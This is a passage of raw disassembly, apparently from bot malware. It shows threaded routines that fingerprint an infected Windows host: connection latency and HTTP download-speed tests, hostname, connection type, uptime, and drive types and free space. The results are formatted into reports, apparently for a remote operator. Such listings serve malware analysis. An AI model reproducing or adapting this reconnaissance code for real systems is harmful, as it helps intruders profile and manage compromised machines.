; ---------------------------------------------------------------------------


loc_4087DE:				; CODE XREF: sub_4087C4+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aSysinfoThread ;	"Sysinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset loc_4083AD
		call	sub_4095A4
		add	esp, 10h

locret_408806:				; CODE XREF: sub_4087C4+18j
		leave
		retn
sub_4087C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408808	proc near		; CODE XREF: sub_408887+Bp
					; sub_408887+19p ...

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		push	7D0h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		cmp	[ebp+var_8], 0
		jnz	short loc_40885F
		mov	eax, 3E8h
		jmp	short locret_408885
; ---------------------------------------------------------------------------


loc_40885F:				; CODE XREF: sub_408808+4Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		cmp	eax, 3E8h
		jnb	short loc_40887B
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		mov	[ebp+var_2C], eax
		jmp	short loc_408882
; ---------------------------------------------------------------------------


loc_40887B:				; CODE XREF: sub_408808+64j
		mov	[ebp+var_2C], 3E8h


loc_408882:				; CODE XREF: sub_408808+71j
		mov	eax, [ebp+var_2C]

locret_408885:				; CODE XREF: sub_408808+55j
		leave
		retn
sub_408808	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408887	proc near		; CODE XREF: cAddress:00408CF2p
					; sub_40CA29+1E9p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset dword_418F60
		call	sub_408808
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_418F6C
		call	sub_408808
		pop	ecx
		mov	[ebp+var_8], eax
		push	offset aPbCs	; "²¿çé"
		call	sub_408808
		pop	ecx
		mov	[ebp+var_C], eax
		push	offset dword_418F90
		call	sub_408808
		pop	ecx
		mov	[ebp+var_10], eax
		push	offset dword_418FA0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_14], eax
		push	offset dword_418FB0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_18]
		xor	edx, edx
		push	6
		pop	ecx
		div	ecx
		leave
		retn
sub_408887	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088FC	proc near		; CODE XREF: cAddress:loc_408D33p

var_438		= qword	ptr -438h
var_430		= dword	ptr -430h
var_42C		= qword	ptr -42Ch
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= byte ptr -308h
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 438h
		and	[ebp+var_8], 0
		jmp	short loc_408912
; ---------------------------------------------------------------------------


loc_40890B:				; CODE XREF: sub_4088FC+23j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_408912:				; CODE XREF: sub_4088FC+Dj
		mov	eax, [ebp+var_8]
		cmp	off_418FC4[eax*4], 0
		jz	short loc_408921
		jmp	short loc_40890B
; ---------------------------------------------------------------------------


loc_408921:				; CODE XREF: sub_4088FC+21j
		mov	eax, [ebp+var_8]
		shr	eax, 1
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_408936
; ---------------------------------------------------------------------------


loc_40892F:				; CODE XREF: sub_4088FC+D6j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_408936:				; CODE XREF: sub_4088FC+31j
		cmp	[ebp+var_4], 3
		jnb	loc_408B2C
		mov	eax, [ebp+var_8]
		dec	eax
		push	eax
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_318], eax
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC4[eax*4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC8[eax*4]
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_310], eax
		cmp	[ebp+var_310], 0
		jnz	short loc_4089D7
		jmp	loc_40892F
; ---------------------------------------------------------------------------


loc_4089D7:				; CODE XREF: sub_4088FC+D4j
		lea	eax, [ebp+var_418]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_4053BF
		add	esp, 0Ch
		and	[ebp+var_314], 0
		call	sub_416B64	; clock
		mov	[ebp+var_41C], eax
		and	[ebp+var_30C], 0


loc_408A3A:				; CODE XREF: sub_4088FC+1AFj
					; sub_4088FC+22Bj
		push	1388h
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_408A93
		cmp	[ebp+var_420], 0FFFFFFFFh
		jz	short loc_408A93
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		cmp	eax, 1388h
		jnb	short loc_408A93
		cmp	[ebp+var_30C], 100000h
		jb	loc_408B15


loc_408A93:				; CODE XREF: sub_4088FC+16Aj
					; sub_4088FC+173j ...
		cmp	[ebp+var_30C], 2000h
		jnb	short loc_408AAD
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		jmp	short loc_408A3A
; ---------------------------------------------------------------------------


loc_408AAD:				; CODE XREF: sub_4088FC+1A1j
		mov	eax, [ebp+var_30C]
		mov	dword ptr [ebp+var_42C], eax
		and	dword ptr [ebp+var_42C+4], 0
		fild	[ebp+var_42C]
		fstp	[ebp+var_430]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		mov	dword ptr [ebp+var_438], eax
		and	dword ptr [ebp+var_438+4], 0
		fild	[ebp+var_438]
		fdiv	flt_417270
		fdivr	[ebp+var_430]
		call	sub_416CF8	; _ftol
		mov	[ebp+var_424], eax
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		mov	eax, [ebp+var_424]
		jmp	short locret_408B2E
; ---------------------------------------------------------------------------


loc_408B15:				; CODE XREF: sub_4088FC+191j
		mov	eax, [ebp+var_30C]
		add	eax, [ebp+var_420]
		mov	[ebp+var_30C], eax
		jmp	loc_408A3A
; ---------------------------------------------------------------------------


loc_408B2C:				; CODE XREF: sub_4088FC+3Ej
		xor	eax, eax

locret_408B2E:				; CODE XREF: sub_4088FC+217j
		leave
		retn
sub_4088FC	endp

; ---------------------------------------------------------------------------


loc_408B30:				; DATA XREF: sub_408E4A+35o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A7Ch
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-0A60h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41EF18
		lea	eax, [ebp-414h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp-824h]
		push	eax
		push	0
		push	0
		push	offset dword_41EF18
		call	dword_41DE54	; getaddrinfo
		test	eax, eax
		jnz	short loc_408BBC
		push	1
		push	0
		push	0
		push	401h
		lea	eax, [ebp-414h]
		push	eax
		mov	eax, [ebp-824h]
		push	dword ptr [eax+10h]
		mov	eax, [ebp-824h]
		push	dword ptr [eax+18h]
		call	dword_41DE58	; getnameinfo
		push	dword ptr [ebp-824h]
		call	dword_41DE5C	; freeaddrinfo


loc_408BBC:				; CODE XREF: cAddress:00408B84j
		call	sub_409318
		mov	[ebp-8B8h], eax
		mov	eax, [ebp-8B8h]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp-830h], eax
		mov	eax, [ebp-8B8h]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp-820h], eax
		mov	eax, [ebp-8B8h]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp-82Ch], eax
		push	offset aUnknown	; "Unknown"
		lea	eax, [ebp-8B0h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset aUnknown	; "Unknown"
		lea	eax, [ebp-10h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	dword_41DE4C, 0
		jz	short loc_408C9F
		push	0
		push	80h
		lea	eax, [ebp-8B0h]
		push	eax
		lea	eax, [ebp-818h]
		push	eax
		call	dword_41DE4C	; InternetGetConnectedStateEx
		test	eax, eax
		jz	short loc_408C9F
		mov	eax, [ebp-818h]
		and	eax, 1
		test	eax, eax
		jz	short loc_408C8F
		push	offset aModem	; "Modem"
		lea	eax, [ebp-10h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_408C9F
; ---------------------------------------------------------------------------


loc_408C8F:				; CODE XREF: cAddress:00408C7Bj
		push	offset aLan	; "LAN"
		lea	eax, [ebp-10h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_408C9F:				; CODE XREF: cAddress:00408C4Fj
					; cAddress:00408C6Ej ...
		call	sub_4043E9
		test	eax, eax
		jz	short loc_408CB4
		mov	dword ptr [ebp-0A64h], offset aYes ; "Yes"
		jmp	short loc_408CBE
; ---------------------------------------------------------------------------


loc_408CB4:				; CODE XREF: cAddress:00408CA6j
		mov	dword ptr [ebp-0A64h], offset aNo ; "No"


loc_408CBE:				; CODE XREF: cAddress:00408CB2j
		mov	eax, [ebp-0A64h]
		mov	[ebp-8], eax
		call	sub_404279
		test	eax, eax
		jz	short loc_408CDC
		mov	dword ptr [ebp-0A68h], offset aYes ; "Yes"
		jmp	short loc_408CE6
; ---------------------------------------------------------------------------


loc_408CDC:				; CODE XREF: cAddress:00408CCEj
		mov	dword ptr [ebp-0A68h], offset aNo ; "No"


loc_408CE6:				; CODE XREF: cAddress:00408CDAj
		mov	eax, [ebp-0A68h]
		mov	[ebp-8B4h], eax
		call	sub_408887
		mov	[ebp-828h], eax
		mov	dword ptr [ebp-81Ch], offset aBad ; "Bad"
		cmp	dword ptr [ebp-828h], 2EEh
		jnb	short loc_408D1D
		mov	dword ptr [ebp-81Ch], offset aAvarage ;	"Avarage"


loc_408D1D:				; CODE XREF: cAddress:00408D11j
		cmp	dword ptr [ebp-828h], 1F4h
		jnb	short loc_408D33
		mov	dword ptr [ebp-81Ch], offset aGood ; "Good"


loc_408D33:				; CODE XREF: cAddress:00408D27j
		call	sub_4088FC
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-82Ch], 1
		jnz	short loc_408D50
		mov	dword ptr [ebp-0A6Ch], offset byte_41DE00
		jmp	short loc_408D5A
; ---------------------------------------------------------------------------


loc_408D50:				; CODE XREF: cAddress:00408D42j
		mov	dword ptr [ebp-0A6Ch], offset dword_4191F4


loc_408D5A:				; CODE XREF: cAddress:00408D4Ej
		cmp	dword ptr [ebp-820h], 1
		jnz	short loc_408D6F
		mov	dword ptr [ebp-0A70h], offset byte_41DE00
		jmp	short loc_408D79
; ---------------------------------------------------------------------------


loc_408D6F:				; CODE XREF: cAddress:00408D61j
		mov	dword ptr [ebp-0A70h], offset dword_4191F4


loc_408D79:				; CODE XREF: cAddress:00408D6Dj
		cmp	dword ptr [ebp-830h], 1
		jnz	short loc_408D8E
		mov	dword ptr [ebp-0A74h], offset byte_41DE00
		jmp	short loc_408D98
; ---------------------------------------------------------------------------


loc_408D8E:				; CODE XREF: cAddress:00408D80j
		mov	dword ptr [ebp-0A74h], offset dword_4191F4


loc_408D98:				; CODE XREF: cAddress:00408D8Cj
		push	dword ptr [ebp-0A6Ch]
		push	dword ptr [ebp-82Ch]
		push	dword ptr [ebp-0A70h]
		push	dword ptr [ebp-820h]
		push	dword ptr [ebp-0A74h]
		push	dword ptr [ebp-830h]
		mov	eax, [ebp-4]
		mov	[ebp-0A7Ch], eax
		and	dword ptr [ebp-0A78h], 0
		fild	qword ptr [ebp-0A7Ch]
		fdiv	flt_417274
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		push	dword ptr [ebp-828h]
		push	dword ptr [ebp-81Ch]
		push	dword ptr [ebp-8B4h]
		push	dword ptr [ebp-8]
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-8B0h]
		push	eax
		lea	eax, [ebp-414h]
		push	eax
		push	offset dword_419284
		push	400h
		lea	eax, [ebp-814h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 48h
		lea	eax, [ebp-814h]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [ebp-0A5Ch]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	dword ptr [ebp-0A60h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E4A	proc near		; CODE XREF: sub_40A9CF+1BD8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_408E64
		jmp	short locret_408E8C
; ---------------------------------------------------------------------------


loc_408E64:				; CODE XREF: sub_408E4A+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aNetinfoThread ;	"Netinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset loc_408B30
		call	sub_4095A4
		add	esp, 10h

locret_408E8C:				; CODE XREF: sub_408E4A+18j
		leave
		retn
sub_408E4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E8E	proc near		; CODE XREF: sub_40CA29+1C5p
					; sub_40CA29+2DAp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_419398
		mov	[ebp+var_1C], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0


loc_408EA4:				; CODE XREF: sub_408E8E+95j
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_408F14
		cmp	[ebp+var_10], 1
		jz	short loc_408F14
		cmp	[ebp+var_10], 5
		jz	short loc_408EE1
		cmp	[ebp+var_10], 2
		jz	short loc_408EE1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_408EF1
; ---------------------------------------------------------------------------


loc_408EE1:				; CODE XREF: sub_408E8E+33j
					; sub_408E8E+39j
		push	8
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_408EF1:				; CODE XREF: sub_408E8E+51j
		push	0
		push	100000h
		push	[ebp+var_20]
		push	[ebp+var_24]
		call	sub_416C90
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx


loc_408F14:				; CODE XREF: sub_408E8E+27j
					; sub_408E8E+2Dj
		mov	al, byte ptr [ebp+var_1C]
		add	al, 1
		mov	byte ptr [ebp+var_1C], al
		movsx	eax, byte ptr [ebp+var_1C]
		cmp	eax, 5Ah
		jnz	loc_408EA4
		mov	eax, [ebp+var_C]
		leave
		retn
sub_408E8E	endp

; ---------------------------------------------------------------------------


loc_408F2E:				; DATA XREF: sub_4091E2+35o
		push	ebp
		mov	ebp, esp
		sub	esp, 5DCh
		push	esi
		push	edi
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-5D4h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		push	5
		pop	ecx
		mov	esi, offset aDriveInformati ; "Drive information - "
		lea	edi, [ebp-404h]
		rep movsd
		movsb
		mov	ecx, 0FAh
		xor	eax, eax
		lea	edi, [ebp-3EFh]
		rep stosd
		stosw
		stosb
		mov	eax, dword_419398
		mov	[ebp-424h], eax
		and	dword ptr [ebp-418h], 0
		and	dword ptr [ebp-5D8h], 0
		and	dword ptr [ebp-414h], 0
		mov	dword ptr [ebp-410h], 1


loc_408FA6:				; CODE XREF: cAddress:00409169j
		lea	eax, [ebp-424h]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp-5DCh], eax
		cmp	dword ptr [ebp-5DCh], 0
		jz	loc_409151
		cmp	dword ptr [ebp-5DCh], 1
		jz	loc_409151
		cmp	dword ptr [ebp-5DCh], 2
		jnz	short loc_408FE5
		mov	dword ptr [ebp-4], offset aRemovable ; "removable"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_408FE5:				; CODE XREF: cAddress:00408FDAj
		cmp	dword ptr [ebp-5DCh], 3
		jnz	short loc_408FF7
		mov	dword ptr [ebp-4], offset aFixed ; "fixed"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_408FF7:				; CODE XREF: cAddress:00408FECj
		cmp	dword ptr [ebp-5DCh], 4
		jnz	short loc_409009
		mov	dword ptr [ebp-4], offset aRemote ; "remote"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_409009:				; CODE XREF: cAddress:00408FFEj
		cmp	dword ptr [ebp-5DCh], 5
		jnz	short loc_40901B
		mov	dword ptr [ebp-4], offset aCdRom ; "cd-rom"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_40901B:				; CODE XREF: cAddress:00409010j
		cmp	dword ptr [ebp-5DCh], 6
		jnz	short loc_40902D
		mov	dword ptr [ebp-4], offset aRamdisk ; "ramdisk"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_40902D:				; CODE XREF: cAddress:00409022j
		mov	dword ptr [ebp-4], offset aUnknown_0 ; "unknown"


loc_409034:				; CODE XREF: cAddress:00408FE3j
					; cAddress:00408FF5j ...
		cmp	dword ptr [ebp-5DCh], 5
		jz	short loc_40906A
		cmp	dword ptr [ebp-5DCh], 2
		jz	short loc_40906A
		lea	eax, [ebp-42Ch]
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		lea	eax, [ebp-40Ch]
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		call	dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_40907D
; ---------------------------------------------------------------------------


loc_40906A:				; CODE XREF: cAddress:0040903Bj
					; cAddress:00409044j
		push	8
		push	0
		lea	eax, [ebp-42Ch]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_40907D:				; CODE XREF: cAddress:00409068j
		push	0
		push	100000h
		push	dword ptr [ebp-428h]
		push	dword ptr [ebp-42Ch]
		call	sub_416C90
		mov	[ebp-42Ch], eax
		mov	[ebp-428h], edx
		cmp	dword ptr [ebp-410h], 0
		jnz	short loc_4090BF
		push	offset dword_419404
		lea	eax, [ebp-404h]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		jmp	short loc_4090C6
; ---------------------------------------------------------------------------


loc_4090BF:				; CODE XREF: cAddress:004090A8j
		and	dword ptr [ebp-410h], 0


loc_4090C6:				; CODE XREF: cAddress:004090BDj
		mov	eax, [ebp-42Ch]
		or	eax, [ebp-428h]
		test	eax, eax
		jz	short loc_40910A
		push	dword ptr [ebp-428h]
		push	dword ptr [ebp-42Ch]
		push	dword ptr [ebp-4]
		lea	eax, [ebp-424h]
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	offset dword_4193E4
		lea	eax, [ebp-404h]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_409130
; ---------------------------------------------------------------------------


loc_40910A:				; CODE XREF: cAddress:004090D4j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-424h]
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	offset dword_4193D4
		lea	eax, [ebp-404h]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 14h


loc_409130:				; CODE XREF: cAddress:00409108j
		mov	eax, [ebp-42Ch]
		mov	ecx, [ebp-414h]
		add	ecx, eax
		mov	[ebp-414h], ecx
		mov	eax, [ebp-5D8h]
		inc	eax
		mov	[ebp-5D8h], eax


loc_409151:				; CODE XREF: cAddress:00408FC0j
					; cAddress:00408FCDj
		mov	al, [ebp-424h]
		add	al, 1
		mov	[ebp-424h], al
		movsx	eax, byte ptr [ebp-424h]
		cmp	eax, 5Ah
		jnz	loc_408FA6
		cmp	dword ptr [ebp-5D8h], 0
		jz	short loc_40918B
		push	offset dword_419404
		lea	eax, [ebp-404h]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx


loc_40918B:				; CODE XREF: cAddress:00409176j
		push	dword ptr [ebp-414h]
		push	dword ptr [ebp-5D8h]
		lea	eax, [ebp-404h]
		push	eax
		push	offset dword_41939C
		lea	eax, [ebp-404h]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 14h
		lea	eax, [ebp-404h]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [ebp-5D0h]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	dword ptr [ebp-5D4h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091E2	proc near		; CODE XREF: sub_40A9CF+1C61p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4091FC
		jmp	short locret_409224
; ---------------------------------------------------------------------------


loc_4091FC:				; CODE XREF: sub_4091E2+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aDriveinfoThrea ; "Driveinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset loc_408F2E
		call	sub_4095A4
		add	esp, 10h

locret_409224:				; CODE XREF: sub_4091E2+18j
		leave
		retn
sub_4091E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409226	proc near		; CODE XREF: cAddress:00416A06p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_40928E
		jg	short loc_40924E
		cmp	[ebp+var_8], 0
		jbe	short loc_40928E


loc_40924E:				; CODE XREF: sub_409226+20j
		cmp	[ebp+var_C], 0
		jl	short loc_40928E
		jg	short loc_40925C
		cmp	[ebp+var_10], 0
		jbe	short loc_40928E


loc_40925C:				; CODE XREF: sub_409226+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		mov	dword_41E2A0, eax
		jmp	short locret_4092A2
; ---------------------------------------------------------------------------


loc_40928E:				; CODE XREF: sub_409226+1Ej
					; sub_409226+26j ...
		call	dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_41E2A0, eax

locret_4092A2:				; CODE XREF: sub_409226+66j
		leave
		retn
sub_409226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4092A4	proc near		; CODE XREF: cAddress:0040840Ep
					; sub_40A9CF+1CCAp ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409307
		jg	short loc_4092CC
		cmp	[ebp+var_8], 0
		jbe	short loc_409307


loc_4092CC:				; CODE XREF: sub_4092A4+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409307
		jg	short loc_4092DA
		cmp	[ebp+var_10], 0
		jbe	short loc_409307


loc_4092DA:				; CODE XREF: sub_4092A4+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		jmp	short locret_409316
; ---------------------------------------------------------------------------


loc_409307:				; CODE XREF: sub_4092A4+1Ej
					; sub_4092A4+26j ...
		call	dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx

locret_409316:				; CODE XREF: sub_4092A4+61j
		leave
		retn
sub_4092A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409318	proc near		; CODE XREF: cAddress:loc_408BBCp
					; sub_40A9CF:loc_40C715p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409381
		jg	short loc_409340
		cmp	[ebp+var_8], 0
		jbe	short loc_409381


loc_409340:				; CODE XREF: sub_409318+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409381
		jg	short loc_40934E
		cmp	[ebp+var_10], 0
		jbe	short loc_409381


loc_40934E:				; CODE XREF: sub_409318+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		sub	eax, dword_41E2A0
		jmp	short locret_40938D
